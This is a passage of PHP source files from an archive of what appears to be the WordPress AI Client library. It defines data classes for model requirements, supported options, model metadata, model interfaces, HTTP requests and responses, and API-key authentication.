* @param list<Message> $messages The messages in the conversation.
* @param ModelConfig $modelConfig The model configuration.
* @return self The created requirements.
*/
public static function fromPromptData(CapabilityEnum $capability, array $messages, \WordPress\AiClient\Providers\Models\DTO\ModelConfig $modelConfig): self
{
// Start with base capability
$capabilities = [$capability];
$inputModalities = [];
// Check if we have chat history (multiple messages)
if (count($messages) > 1) {
$capabilities[] = CapabilityEnum::chatHistory();
}
// Analyze all messages to determine required input modalities
$hasFunctionMessageParts = \false;
foreach ($messages as $message) {
foreach ($message->getParts() as $part) {
// Check for text input
if ($part->getType()->isText()) {
$inputModalities[] = ModalityEnum::text();
}
// Check for file inputs
if ($part->getType()->isFile()) {
$file = $part->getFile();
if ($file !== null) {
if ($file->isImage()) {
$inputModalities[] = ModalityEnum::image();
} elseif ($file->isAudio()) {
$inputModalities[] = ModalityEnum::audio();
} elseif ($file->isVideo()) {
$inputModalities[] = ModalityEnum::video();
} elseif ($file->isDocument() || $file->isText()) {
$inputModalities[] = ModalityEnum::document();
}
}
}
// Check for function calls/responses (these might require special capabilities)
if ($part->getType()->isFunctionCall() || $part->getType()->isFunctionResponse()) {
$hasFunctionMessageParts = \true;
}
}
}
// Convert ModelConfig to RequiredOptions
$requiredOptions = self::toRequiredOptions($modelConfig);
// Add additional options based on message analysis
if ($hasFunctionMessageParts) {
$requiredOptions = self::includeInRequiredOptions($requiredOptions, new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::functionDeclarations(), \true));
}
// Add input modalities if we have any inputs
if (!empty($inputModalities)) {
// Remove duplicates
$inputModalities = array_unique($inputModalities, \SORT_REGULAR);
$requiredOptions = self::includeInRequiredOptions($requiredOptions, new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::inputModalities(), array_values($inputModalities)));
}
// Step 6: Return new ModelRequirements
return new self($capabilities, $requiredOptions);
}
/**
* Converts ModelConfig to an array of RequiredOptions.
*
* @since 0.2.0
*
* @param ModelConfig $modelConfig The model configuration.
* @return list<RequiredOption> The required options.
*/
private static function toRequiredOptions(\WordPress\AiClient\Providers\Models\DTO\ModelConfig $modelConfig): array
{
$requiredOptions = [];
// Map properties that have corresponding OptionEnum values
if ($modelConfig->getOutputModalities() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputModalities(), $modelConfig->getOutputModalities());
}
if ($modelConfig->getSystemInstruction() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::systemInstruction(), $modelConfig->getSystemInstruction());
}
if ($modelConfig->getCandidateCount() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::candidateCount(), $modelConfig->getCandidateCount());
}
if ($modelConfig->getMaxTokens() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::maxTokens(), $modelConfig->getMaxTokens());
}
if ($modelConfig->getTemperature() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::temperature(), $modelConfig->getTemperature());
}
if ($modelConfig->getTopP() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::topP(), $modelConfig->getTopP());
}
if ($modelConfig->getTopK() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::topK(), $modelConfig->getTopK());
}
if ($modelConfig->getOutputMimeType() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputMimeType(), $modelConfig->getOutputMimeType());
}
if ($modelConfig->getOutputSchema() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputSchema(), $modelConfig->getOutputSchema());
}
// Handle properties without OptionEnum values as custom options
if ($modelConfig->getStopSequences() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::stopSequences(), $modelConfig->getStopSequences());
}
if ($modelConfig->getPresencePenalty() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::presencePenalty(), $modelConfig->getPresencePenalty());
}
if ($modelConfig->getFrequencyPenalty() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::frequencyPenalty(), $modelConfig->getFrequencyPenalty());
}
if ($modelConfig->getLogprobs() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::logprobs(), $modelConfig->getLogprobs());
}
if ($modelConfig->getTopLogprobs() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::topLogprobs(), $modelConfig->getTopLogprobs());
}
if ($modelConfig->getFunctionDeclarations() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::functionDeclarations(), \true);
}
if ($modelConfig->getWebSearch() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::webSearch(), \true);
}
if ($modelConfig->getOutputFileType() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputFileType(), $modelConfig->getOutputFileType());
}
if ($modelConfig->getOutputMediaOrientation() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputMediaOrientation(), $modelConfig->getOutputMediaOrientation());
}
if ($modelConfig->getOutputMediaAspectRatio() !== null) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputMediaAspectRatio(), $modelConfig->getOutputMediaAspectRatio());
}
// Add custom options as individual RequiredOptions
foreach ($modelConfig->getCustomOptions() as $key => $value) {
$requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::customOptions(), [$key => $value]);
}
return $requiredOptions;
}
/**
* Includes a RequiredOption in the array, ensuring no duplicates based on option name.
*
* @since 0.2.0
*
* @param list<RequiredOption> $requiredOptions The existing required options.
* @param RequiredOption $newOption The new option to include.
* @return list<RequiredOption> The updated required options array.
*/
private static function includeInRequiredOptions(array $requiredOptions, \WordPress\AiClient\Providers\Models\DTO\RequiredOption $newOption): array
{
// Check if we already have this option name
foreach ($requiredOptions as $index => $existingOption) {
if ($existingOption->getName()->equals($newOption->getName())) {
// Replace existing option with new one
$requiredOptions[$index] = $newOption;
return $requiredOptions;
}
}
// Option not found, add it
$requiredOptions[] = $newOption;
return $requiredOptions;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_REQUIRED_CAPABILITIES => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => CapabilityEnum::getValues()], 'description' => 'The capabilities that the model must support.'], self::KEY_REQUIRED_OPTIONS => ['type' => 'array', 'items' => \WordPress\AiClient\Providers\Models\DTO\RequiredOption::getJsonSchema(), 'description' => 'The options that the model must support with specific values.']], 'required' => [self::KEY_REQUIRED_CAPABILITIES, self::KEY_REQUIRED_OPTIONS]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return ModelRequirementsArrayShape
*/
public function toArray(): array
{
return [self::KEY_REQUIRED_CAPABILITIES => array_map(static fn(CapabilityEnum $capability): string => $capability->value, $this->requiredCapabilities), self::KEY_REQUIRED_OPTIONS => array_map(static fn(\WordPress\AiClient\Providers\Models\DTO\RequiredOption $option): array => $option->toArray(), $this->requiredOptions)];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_REQUIRED_CAPABILITIES, self::KEY_REQUIRED_OPTIONS]);
return new self(array_map(static fn(string $capability): CapabilityEnum => CapabilityEnum::from($capability), $array[self::KEY_REQUIRED_CAPABILITIES]), array_map(static fn(array $optionData): \WordPress\AiClient\Providers\Models\DTO\RequiredOption => \WordPress\AiClient\Providers\Models\DTO\RequiredOption::fromArray($optionData), $array[self::KEY_REQUIRED_OPTIONS]));
}
}
src/Providers/Models/DTO/RequiredOption.php 0000644 00000005513 15220530455 0014650 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Providers\Models\Enums\OptionEnum;
/**
* Represents an option that the implementing code requires the model to support.
*
* This class defines an option that the model must support with a specific value
* for it to be considered suitable for the implementing code's requirements.
*
* @since 0.1.0
*
* @phpstan-type RequiredOptionArrayShape array{
* name: string,
* value: mixed
* }
*
* @extends AbstractDataTransferObject<RequiredOptionArrayShape>
*/
class RequiredOption extends AbstractDataTransferObject
{
public const KEY_NAME = 'name';
public const KEY_VALUE = 'value';
/**
* @var OptionEnum The option name.
*/
protected OptionEnum $name;
/**
* @var mixed The value that the model must support for this option.
*/
protected $value;
/**
* Constructor.
*
* @since 0.1.0
*
* @param OptionEnum $name The option name.
* @param mixed $value The value that the model must support for this option.
*/
public function __construct(OptionEnum $name, $value)
{
$this->name = $name;
$this->value = $value;
}
/**
* Gets the option name.
*
* @since 0.1.0
*
* @return OptionEnum The option name.
*/
public function getName(): OptionEnum
{
return $this->name;
}
/**
* Gets the value that the model must support for this option.
*
* @since 0.1.0
*
* @return mixed The value that the model must support.
*/
public function getValue()
{
return $this->value;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'enum' => OptionEnum::getValues(), 'description' => 'The option name.'], self::KEY_VALUE => ['oneOf' => [['type' => 'string'], ['type' => 'number'], ['type' => 'boolean'], ['type' => 'null'], ['type' => 'array'], ['type' => 'object']], 'description' => 'The value that the model must support for this option.']], 'required' => [self::KEY_NAME, self::KEY_VALUE]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return RequiredOptionArrayShape
*/
public function toArray(): array
{
return [self::KEY_NAME => $this->name->value, self::KEY_VALUE => $this->value];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_NAME, self::KEY_VALUE]);
return new self(OptionEnum::from($array[self::KEY_NAME]), $array[self::KEY_VALUE]);
}
}
src/Providers/Models/DTO/SupportedOption.php 0000644 00000014011 15220530455 0015046 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\AbstractEnum;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Models\Enums\OptionEnum;
/**
* Represents a supported configuration option for an AI model.
*
* This class defines an option that a model supports, including its name
* and the values that are valid for that option.
*
* @since 0.1.0
*
* @phpstan-type SupportedOptionArrayShape array{
* name: string,
* supportedValues?: list<mixed>
* }
*
* @extends AbstractDataTransferObject<SupportedOptionArrayShape>
*/
class SupportedOption extends AbstractDataTransferObject
{
public const KEY_NAME = 'name';
public const KEY_SUPPORTED_VALUES = 'supportedValues';
/**
* @var OptionEnum The option name.
*/
protected OptionEnum $name;
/**
* @var list<mixed>|null The supported values for this option.
*/
protected ?array $supportedValues;
/**
* Constructor.
*
* @since 0.1.0
*
* @param OptionEnum $name The option name.
* @param list<mixed>|null $supportedValues The supported values for this option, or null if any value is supported.
*
* @throws InvalidArgumentException If supportedValues is not null and not a list.
*/
public function __construct(OptionEnum $name, ?array $supportedValues = null)
{
if ($supportedValues !== null && !array_is_list($supportedValues)) {
throw new InvalidArgumentException('Supported values must be a list array.');
}
$this->name = $name;
$this->supportedValues = $supportedValues;
}
/**
* Gets the option name.
*
* @since 0.1.0
*
* @return OptionEnum The option name.
*/
public function getName(): OptionEnum
{
return $this->name;
}
/**
* Checks if a value is supported for this option.
*
* @since 0.1.0
*
* @param mixed $value The value to check.
* @return bool True if the value is supported, false otherwise.
*/
public function isSupportedValue($value): bool
{
// If supportedValues is null, any value is supported
if ($this->supportedValues === null) {
return \true;
}
// If the value is an array, consider it a set (i.e. order doesn't matter).
if (is_array($value)) {
$normalizedValue = self::normalizeArrayForComparison($value);
foreach ($this->supportedValues as $supportedValue) {
if (!is_array($supportedValue)) {
continue;
}
$normalizedSupported = self::normalizeArrayForComparison($supportedValue);
if ($normalizedValue === $normalizedSupported) {
return \true;
}
}
return \false;
}
$normalizedValue = self::normalizeValue($value);
foreach ($this->supportedValues as $supportedValue) {
if (self::normalizeValue($supportedValue) === $normalizedValue) {
return \true;
}
}
return \false;
}
/**
* Normalizes an AbstractEnum instance to its string value.
*
* This ensures comparisons work correctly even after deserialization
* (e.g. Redis/Memcached object cache), where AbstractEnum singletons
* are reconstructed as separate instances.
*
* @since 1.2.1
*
* @param mixed $value The value to normalize.
* @return mixed The normalized value.
*/
private static function normalizeValue($value)
{
if ($value instanceof AbstractEnum) {
return $value->value;
}
return $value;
}
/**
* Normalizes and sorts an array for comparison.
*
* Maps each element through normalizeValue() and sorts the result,
* ensuring consistent comparison regardless of element order or
* AbstractEnum instance identity.
*
* @since 1.2.1
*
* @param array<mixed> $items The array to normalize.
* @return array<mixed> The normalized, sorted array.
*/
private static function normalizeArrayForComparison(array $items): array
{
$normalized = array_map([self::class, 'normalizeValue'], $items);
sort($normalized);
return $normalized;
}
/**
* Gets the supported values for this option.
*
* @since 0.1.0
*
* @return list<mixed>|null The supported values, or null if any value is supported.
*/
public function getSupportedValues(): ?array
{
return $this->supportedValues;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'enum' => OptionEnum::getValues(), 'description' => 'The option name.'], self::KEY_SUPPORTED_VALUES => ['type' => 'array', 'items' => ['oneOf' => [['type' => 'string'], ['type' => 'number'], ['type' => 'boolean'], ['type' => 'null'], ['type' => 'array'], ['type' => 'object']]], 'description' => 'The supported values for this option.']], 'required' => [self::KEY_NAME]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return SupportedOptionArrayShape
*/
public function toArray(): array
{
$data = [self::KEY_NAME => $this->name->value];
if ($this->supportedValues !== null) {
/** @var list<mixed> $supportedValues */
$supportedValues = $this->supportedValues;
$data[self::KEY_SUPPORTED_VALUES] = $supportedValues;
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_NAME]);
return new self(OptionEnum::from($array[self::KEY_NAME]), $array[self::KEY_SUPPORTED_VALUES] ?? null);
}
}
src/Providers/Models/DTO/ModelMetadata.php 0000644 00000013770 15220530455 0014404 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Models\Enums\CapabilityEnum;
/**
* Represents metadata about an AI model.
*
* This class contains information about a specific AI model, including
* its identifier, display name, supported capabilities, and configuration options.
*
* @since 0.1.0
*
* @phpstan-import-type SupportedOptionArrayShape from SupportedOption
*
* @phpstan-type ModelMetadataArrayShape array{
* id: string,
* name: string,
* supportedCapabilities: list<string>,
* supportedOptions: list<SupportedOptionArrayShape>
* }
*
* @extends AbstractDataTransferObject<ModelMetadataArrayShape>
*/
class ModelMetadata extends AbstractDataTransferObject
{
public const KEY_ID = 'id';
public const KEY_NAME = 'name';
public const KEY_SUPPORTED_CAPABILITIES = 'supportedCapabilities';
public const KEY_SUPPORTED_OPTIONS = 'supportedOptions';
/**
* @var string The model's unique identifier.
*/
protected string $id;
/**
* @var string The model's display name.
*/
protected string $name;
/**
* @var list<CapabilityEnum> The model's supported capabilities.
*/
protected array $supportedCapabilities;
/**
* @var list<SupportedOption> The model's supported configuration options.
*/
protected array $supportedOptions;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string $id The model's unique identifier.
* @param string $name The model's display name.
* @param list<CapabilityEnum> $supportedCapabilities The model's supported capabilities.
* @param list<SupportedOption> $supportedOptions The model's supported configuration options.
*
* @throws InvalidArgumentException If arrays are not lists.
*/
public function __construct(string $id, string $name, array $supportedCapabilities, array $supportedOptions)
{
if (!array_is_list($supportedCapabilities)) {
throw new InvalidArgumentException('Supported capabilities must be a list array.');
}
if (!array_is_list($supportedOptions)) {
throw new InvalidArgumentException('Supported options must be a list array.');
}
$this->id = $id;
$this->name = $name;
$this->supportedCapabilities = $supportedCapabilities;
$this->supportedOptions = $supportedOptions;
}
/**
* Gets the model's unique identifier.
*
* @since 0.1.0
*
* @return string The model ID.
*/
public function getId(): string
{
return $this->id;
}
/**
* Gets the model's display name.
*
* @since 0.1.0
*
* @return string The model name.
*/
public function getName(): string
{
return $this->name;
}
/**
* Gets the model's supported capabilities.
*
* @since 0.1.0
*
* @return list<CapabilityEnum> The supported capabilities.
*/
public function getSupportedCapabilities(): array
{
return $this->supportedCapabilities;
}
/**
* Gets the model's supported configuration options.
*
* @since 0.1.0
*
* @return list<SupportedOption> The supported options.
*/
public function getSupportedOptions(): array
{
return $this->supportedOptions;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The model\'s unique identifier.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The model\'s display name.'], self::KEY_SUPPORTED_CAPABILITIES => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => CapabilityEnum::getValues()], 'description' => 'The model\'s supported capabilities.'], self::KEY_SUPPORTED_OPTIONS => ['type' => 'array', 'items' => \WordPress\AiClient\Providers\Models\DTO\SupportedOption::getJsonSchema(), 'description' => 'The model\'s supported configuration options.']], 'required' => [self::KEY_ID, self::KEY_NAME, self::KEY_SUPPORTED_CAPABILITIES, self::KEY_SUPPORTED_OPTIONS]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return ModelMetadataArrayShape
*/
public function toArray(): array
{
return [self::KEY_ID => $this->id, self::KEY_NAME => $this->name, self::KEY_SUPPORTED_CAPABILITIES => array_map(static fn(CapabilityEnum $capability): string => $capability->value, $this->supportedCapabilities), self::KEY_SUPPORTED_OPTIONS => array_map(static fn(\WordPress\AiClient\Providers\Models\DTO\SupportedOption $option): array => $option->toArray(), $this->supportedOptions)];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_ID, self::KEY_NAME, self::KEY_SUPPORTED_CAPABILITIES, self::KEY_SUPPORTED_OPTIONS]);
return new self($array[self::KEY_ID], $array[self::KEY_NAME], array_map(static fn(string $capability): CapabilityEnum => CapabilityEnum::from($capability), $array[self::KEY_SUPPORTED_CAPABILITIES]), array_map(static fn(array $optionData): \WordPress\AiClient\Providers\Models\DTO\SupportedOption => \WordPress\AiClient\Providers\Models\DTO\SupportedOption::fromArray($optionData), $array[self::KEY_SUPPORTED_OPTIONS]));
}
/**
* Performs a deep clone of the model metadata.
*
* This method ensures that supported option objects are cloned to prevent
* modifications to the cloned metadata from affecting the original.
*
* @since 0.4.2
*/
public function __clone()
{
$clonedOptions = [];
foreach ($this->supportedOptions as $option) {
$clonedOptions[] = clone $option;
}
$this->supportedOptions = $clonedOptions;
}
}
src/Providers/Models/Contracts/ModelInterface.php 0000644 00000002357 15220530455 0016075 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\Contracts;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
* Interface for AI models.
*
* Models represent specific AI models from providers and define
* their capabilities, configuration, and execution methods.
*
* @since 0.1.0
*/
interface ModelInterface
{
/**
* Gets model metadata.
*
* @since 0.1.0
*
* @return ModelMetadata Model metadata.
*/
public function metadata(): ModelMetadata;
/**
* Returns the metadata for the model's provider.
*
* @since 0.1.0
*
* @return ProviderMetadata The provider metadata.
*/
public function providerMetadata(): ProviderMetadata;
/**
* Sets model configuration.
*
* @since 0.1.0
*
* @param ModelConfig $config Model configuration.
* @return void
*/
public function setConfig(ModelConfig $config): void;
/**
* Gets model configuration.
*
* @since 0.1.0
*
* @return ModelConfig Current model configuration.
*/
public function getConfig(): ModelConfig;
}
src/Providers/Models/TextGeneration/Contracts/TextGenerationModelInterface.php 0000644 00000001340 15220530455 0023705 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\TextGeneration\Contracts;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
* Interface for models that support text generation.
*
* Provides synchronous and streaming methods for generating text from prompts.
*
* @since 0.1.0
*/
interface TextGenerationModelInterface
{
/**
* Generates text from a prompt.
*
* @since 0.1.0
*
* @param list<Message> $prompt Array of messages containing the text generation prompt.
* @return GenerativeAiResult Result containing generated text.
*/
public function generateTextResult(array $prompt): GenerativeAiResult;
}
src/Providers/Models/TextGeneration/Contracts/TextGenerationOperationModelInterface.php 0000644 00000001425 15220530455 0025572 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\TextGeneration\Contracts;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Operations\DTO\GenerativeAiOperation;
/**
* Interface for models that support asynchronous text generation operations.
*
* Provides methods for initiating long-running text generation tasks.
*
* @since 0.1.0
*/
interface TextGenerationOperationModelInterface
{
/**
* Creates a text generation operation.
*
* @since 0.1.0
*
* @param list<Message> $prompt Array of messages containing the text generation prompt.
* @return GenerativeAiOperation The initiated text generation operation.
*/
public function generateTextOperation(array $prompt): GenerativeAiOperation;
}
src/Providers/Http/DTO/Response.php 0000644 00000013734 15220530455 0013175 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Http\Collections\HeadersCollection;
/**
* Represents an HTTP response.
*
* This class encapsulates HTTP response data that has been converted
* from PSR-7 responses by the HTTP transporter.
*
* @since 0.1.0
*
* @phpstan-type ResponseArrayShape array{
* statusCode: int,
* headers: array<string, list<string>>,
* body?: string|null
* }
*
* @extends AbstractDataTransferObject<ResponseArrayShape>
*/
class Response extends AbstractDataTransferObject
{
public const KEY_STATUS_CODE = 'statusCode';
public const KEY_HEADERS = 'headers';
public const KEY_BODY = 'body';
/**
* @var int The HTTP status code.
*/
protected int $statusCode;
/**
* @var HeadersCollection The response headers.
*/
protected HeadersCollection $headers;
/**
* @var string|null The response body.
*/
protected ?string $body;
/**
* Constructor.
*
* @since 0.1.0
*
* @param int $statusCode The HTTP status code.
* @param array<string, string|list<string>> $headers The response headers.
* @param string|null $body The response body.
*
* @throws InvalidArgumentException If the status code is invalid.
*/
public function __construct(int $statusCode, array $headers, ?string $body = null)
{
if ($statusCode < 100 || $statusCode >= 600) {
throw new InvalidArgumentException('Invalid HTTP status code: ' . $statusCode);
}
$this->statusCode = $statusCode;
$this->headers = new HeadersCollection($headers);
$this->body = $body;
}
/**
* Creates a deep clone of this response.
*
* Clones the headers collection to ensure the cloned
* response is independent of the original.
*
* @since 0.4.2
*/
public function __clone()
{
// Clone headers collection
$this->headers = clone $this->headers;
}
/**
* Gets the HTTP status code.
*
* @since 0.1.0
*
* @return int The status code.
*/
public function getStatusCode(): int
{
return $this->statusCode;
}
/**
* Gets the response headers.
*
* @since 0.1.0
*
* @return array<string, list<string>> The headers.
*/
public function getHeaders(): array
{
return $this->headers->getAll();
}
/**
* Gets a specific header value.
*
* @since 0.1.0
*
* @param string $name The header name (case-insensitive).
* @return list<string>|null The header value(s) or null if not found.
*/
public function getHeader(string $name): ?array
{
return $this->headers->get($name);
}
/**
* Gets header values as a comma-separated string.
*
* @since 0.1.0
*
* @param string $name The header name (case-insensitive).
* @return string|null The header values as a comma-separated string or null if not found.
*/
public function getHeaderAsString(string $name): ?string
{
return $this->headers->getAsString($name);
}
/**
* Gets the response body.
*
* @since 0.1.0
*
* @return string|null The body.
*/
public function getBody(): ?string
{
return $this->body;
}
/**
* Checks if the response has a header.
*
* @since 0.1.0
*
* @param string $name The header name.
* @return bool True if the header exists, false otherwise.
*/
public function hasHeader(string $name): bool
{
return $this->headers->has($name);
}
/**
* Checks if the response indicates success.
*
* @since 0.1.0
*
* @return bool True if status code is 2xx, false otherwise.
*/
public function isSuccessful(): bool
{
return $this->statusCode >= 200 && $this->statusCode < 300;
}
/**
* Gets the response data as an array.
*
* Attempts to decode the body as JSON. Returns null if the body
* is empty or not valid JSON.
*
* @since 0.1.0
*
* @return array<string, mixed>|null The decoded data or null.
*/
public function getData(): ?array
{
if ($this->body === null || $this->body === '') {
return null;
}
$data = json_decode($this->body, \true);
if (json_last_error() !== \JSON_ERROR_NONE) {
return null;
}
/** @var array<string, mixed>|null $data */
return is_array($data) ? $data : null;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_STATUS_CODE => ['type' => 'integer', 'minimum' => 100, 'maximum' => 599, 'description' => 'The HTTP status code.'], self::KEY_HEADERS => ['type' => 'object', 'additionalProperties' => ['type' => 'array', 'items' => ['type' => 'string']], 'description' => 'The response headers.'], self::KEY_BODY => ['type' => ['string', 'null'], 'description' => 'The response body.']], 'required' => [self::KEY_STATUS_CODE, self::KEY_HEADERS]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return ResponseArrayShape
*/
public function toArray(): array
{
$data = [self::KEY_STATUS_CODE => $this->statusCode, self::KEY_HEADERS => $this->headers->getAll()];
if ($this->body !== null) {
$data[self::KEY_BODY] = $this->body;
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_STATUS_CODE, self::KEY_HEADERS]);
return new self($array[self::KEY_STATUS_CODE], $array[self::KEY_HEADERS], $array[self::KEY_BODY] ?? null);
}
}
src/Providers/Http/DTO/ApiKeyRequestAuthentication.php 0000644 00000004517 15220530455 0017031 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface;
/**
* Class for HTTP request authentication using an API key.
*
* @since 0.1.0
*
* @phpstan-type ApiKeyRequestAuthenticationArrayShape array{
* apiKey: string
* }
*
* @extends AbstractDataTransferObject<ApiKeyRequestAuthenticationArrayShape>
*/
class ApiKeyRequestAuthentication extends AbstractDataTransferObject implements RequestAuthenticationInterface
{
public const KEY_API_KEY = 'apiKey';
/**
* @var string The API key used for authentication.
*/
protected string $apiKey;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string $apiKey The API key used for authentication.
*/
public function __construct(string $apiKey)
{
$this->apiKey = $apiKey;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function authenticateRequest(\WordPress\AiClient\Providers\Http\DTO\Request $request): \WordPress\AiClient\Providers\Http\DTO\Request
{
// Add the API key to the request headers.
return $request->withHeader('Authorization', 'Bearer ' . $this->apiKey);
}
/**
* Gets the API key.
*
* @since 0.1.0
*
* @return string The API key.
*/
public function getApiKey(): string
{
return $this->apiKey;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @since 0.1.0
*
* @return ApiKeyRequestAuthenticationArrayShape
*/
public function toArray(): array
{
return [self::KEY_API_KEY => $this->apiKey];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_API_KEY]);
return new self($array[self::KEY_API_KEY]);
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_API_KEY => ['type' => 'string', 'title' => 'API Key', 'description' => 'The API key used for authentication.']], 'required' => [self::KEY_API_KEY]];
}
}
src/Providers/Http/DTO/Request.php 0000644 00000030047 15220530455 0013023 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\DTO;
use JsonException;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Http\Collections\HeadersCollection;
use WordPress\AiClient\Providers\Http\Enums\HttpMethodEnum;
/**
* Represents an HTTP request.
*
* This class encapsulates HTTP request data that can be converted
* to PSR-7 requests by the HTTP transporter.
*
* @since 0.1.0
*
* @phpstan-import-type RequestOptionsArrayShape from RequestOptions
* @phpstan-type RequestArrayShape array{
* method: string,
* uri: string,
* headers: array<string, list<string>>,
* body?: string|null,
* options?: RequestOptionsArrayShape
* }
*
* @extends AbstractDataTransferObject<RequestArrayShape>
*/
class Request extends AbstractDataTransferObject
{
public const KEY_METHOD = 'method';
public const KEY_URI = 'uri';
public const KEY_HEADERS = 'headers';
public const KEY_BODY = 'body';
public const KEY_OPTIONS = 'options';
/**
* @var HttpMethodEnum The HTTP method.
*/
protected HttpMethodEnum $method;
/**
* @var string The request URI.
*/
protected string $uri;
/**
* @var HeadersCollection The request headers.
*/
protected HeadersCollection $headers;
/**
* @var array<string, mixed>|null The request data (for query params or form data).
*/
protected ?array $data = null;
